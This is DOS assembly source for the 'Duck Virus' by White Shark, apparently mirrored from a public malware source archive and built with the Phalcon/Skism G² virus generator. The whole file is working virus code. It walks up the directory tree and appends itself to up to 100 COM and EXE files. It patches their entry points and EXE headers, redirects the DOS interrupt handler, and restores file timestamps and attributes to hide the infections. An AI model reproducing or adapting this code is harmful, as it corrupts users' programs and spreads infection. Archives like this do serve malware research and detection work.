mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
295 lines
8.6 KiB
NASM
295 lines
8.6 KiB
NASM
; Virus generated by Gý 0.70á
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; Gý written by Dark Angel of Phalcon/Skism
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; File: DUCK.ASM
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; Duck Virus by White Shark
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id = 'DA'
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.model tiny
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.code
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; Assemble with:
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; TASM /m3 filename.ASM
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; TLINK /t filename.OBJ
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org 0100h
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carrier:
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db 0E9h,0,0 ; jmp start
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start:
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mov bp, sp
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int 0003h
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next:
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mov bp, ss:[bp-6]
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sub bp, offset next
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push es
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push ds
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push cs
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pop ds
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push cs
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pop es
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mov ah, 0047h ; Get directory
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lea si, [bp+offset origdir+1]
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mov dl, 0000h ; Default drive
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int 0021h
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lea dx, [bp+offset newDTA]
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mov ah, 001Ah ; Set DTA
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int 0021h
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push ds
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push es
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mov ax, 3521h ; get int 21h handler
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int 0021h
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push es
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pop ds
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xchg bx, dx
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mov ax, 2503h ; set int 3 = int 21h handler
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int 0021h
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pop es
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pop ds
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lea di, [bp+offset origCSIP2]
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lea si, [bp+offset origCSIP]
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movsw
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movsw
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movsw
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movsw
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mov byte ptr [bp+numinfect], 0000h
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traverse_loop:
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lea dx, [bp+offset COMmask]
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call infect
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lea dx, [bp+offset EXEmask]
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call infect
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cmp [bp+numinfect], 0064h
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jae exit_traverse ; exit if enough infected
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mov ah, 003Bh ; CHDIR
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lea dx, [bp+offset dot_dot] ; go to previous dir
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int 0003h
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jnc traverse_loop ; loop if no error
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exit_traverse:
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lea si, [bp+offset origdir]
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mov byte ptr [si], '\'
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mov ah, 003Bh ; restore directory
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xchg dx, si
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int 0003h
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pop ds
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pop es
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mov ah, 001Ah ; restore DTA to default
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mov dx, 0080h ; in the PSP
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int 0003h
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cmp sp, id
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je restore_EXE
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restore_COM:
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mov di, 0100h
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push di
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lea si, [bp+offset old3_2]
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mov cx, 0003h ; Caution: far from the most efficient
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rep movsb ; routine
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return:
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ret
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restore_EXE:
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mov ax, es
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add ax, 0010h
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add cs:[bp+word ptr origCSIP2+2], ax
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add ax, cs:[bp+word ptr origSPSS2]
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cli
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mov ss, ax
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mov sp, cs:[bp+word ptr origSPSS2+2]
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sti
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db 00EAh
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origCSIP2 db ?
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old3_2 db ?,?,?
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origSPSS2 dd ?
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origCSIP db ?
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old3 db 0cdh,20h,0
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origSPSS dd ?
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infect:
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mov ah, 004Eh ; find first
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mov cx, 0007h ; all files
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findfirstnext:
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int 0003h
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jc return
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cmp word ptr [bp+newDTA+34], 'NA' ; Check if COMMAND.COM
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mov ah, 004Fh ; Set up find next
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jz findfirstnext ; Exit if so
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mov ax, 4300h
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lea dx, [bp+newDTA+30]
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int 0003h
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jc return
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push cx
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push dx
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mov ax, 4301h ; clear file attributes
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push ax ; save for later use
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xor cx, cx
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int 0003h
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lea dx, [bp+newDTA+30]
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mov ax, 3D02h
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int 0003h
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xchg ax, bx
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mov ax, 5700h ; get file time/date
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int 0003h
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push cx
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push dx
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mov ah, 003Fh
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lea dx, [bp+offset readbuffer]
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mov cx, 001Ah
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int 0003h
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xor cx, cx
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mov ax, 4202h
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cwd
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int 0003h
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cmp word ptr [bp+offset readbuffer], 'ZM'
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jz checkEXE
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mov cx, word ptr [bp+offset readbuffer+1] ; jmp location
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add cx, heap-start+3 ; convert to filesize
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cmp ax, cx ; equal if already infected
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jz jmp_close
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lea di, [bp+offset old3]
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lea si, [bp+offset readbuffer]
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movsw
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movsb
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mov cx, 0003h
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sub ax, cx
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mov word ptr [bp+offset readbuffer+1], ax
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mov dl, 00E9h
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mov byte ptr [bp+offset readbuffer], dl
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jmp short continue_infect
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checkEXE:
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cmp word ptr [bp+offset readbuffer+10h], id
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jnz skipp
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jmp_close:
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jmp close
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skipp:
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lea si, [bp+readbuffer+14h]
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lea di, [bp+origCSIP]
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movsw ; Save original CS and IP
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movsw
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sub si, 000Ah
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movsw ; Save original SS and SP
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movsw
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push bx ; save file handle
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mov bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs
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mov cl, 0004h
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shl bx, cl
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push dx ; Save file size on the
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push ax ; stack
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sub ax, bx ; File size - Header size
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sbb dx, 0000h ; DX:AX - BX -> DX:AX
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mov cx, 0010h
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div cx ; DX:AX/CX = AX Remainder DX
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mov word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
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mov word ptr [bp+readbuffer+10h], id ; Initial SP
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mov word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.
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mov word ptr [bp+readbuffer+14h], dx ; IP Offset
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pop ax ; Filelength in DX:AX
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pop dx
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add ax, heap-start
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adc dx, 0000h
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mov cl, 0009h
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push ax
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shr ax, cl
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ror dx, cl
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stc
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adc dx, ax
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pop ax
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and ah, 0001h
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mov word ptr [bp+readbuffer+4], dx ; Fix-up the file size in
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mov word ptr [bp+readbuffer+2], ax ; the EXE header.
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pop bx ; restore file handle
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mov cx, 001Ah
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continue_infect:
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push cx ; save # bytes to write
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lea dx, [bp+offset start]
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mov ah, 0040h ; concatenate virus
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mov cx, heap-start
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int 0003h
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xor dx, dx
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mov ax, 4200h
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xor cx, cx
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int 0003h
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lea dx, [bp+offset readbuffer]
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mov ah, 0040h
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pop cx
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int 0003h
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inc [bp+numinfect]
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close:
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mov ax, 5701h ; restore file time/date
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pop dx
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pop cx
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int 0003h
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mov ah, 003Eh
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int 0003h
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pop ax ; restore file attributes
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pop dx ; get filename and
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pop cx ; attributes from stack
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int 0003h
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mov ah, 004Fh ; find next
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jmp findfirstnext
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signature db '[PS/Gý]',0 ; Phalcon/Skism Gý
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creator db 'White Shark',0
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virusname db 'Duck Virus',0
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EXEmask db '*.EXE',0
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COMmask db '*.COM',0
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dot_dot db '..',0
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heap:
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newDTA db 43 dup (?)
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origdir db 65 dup (?)
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numinfect db ?
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readbuffer db 1ah dup (?)
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endheap:
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end carrier
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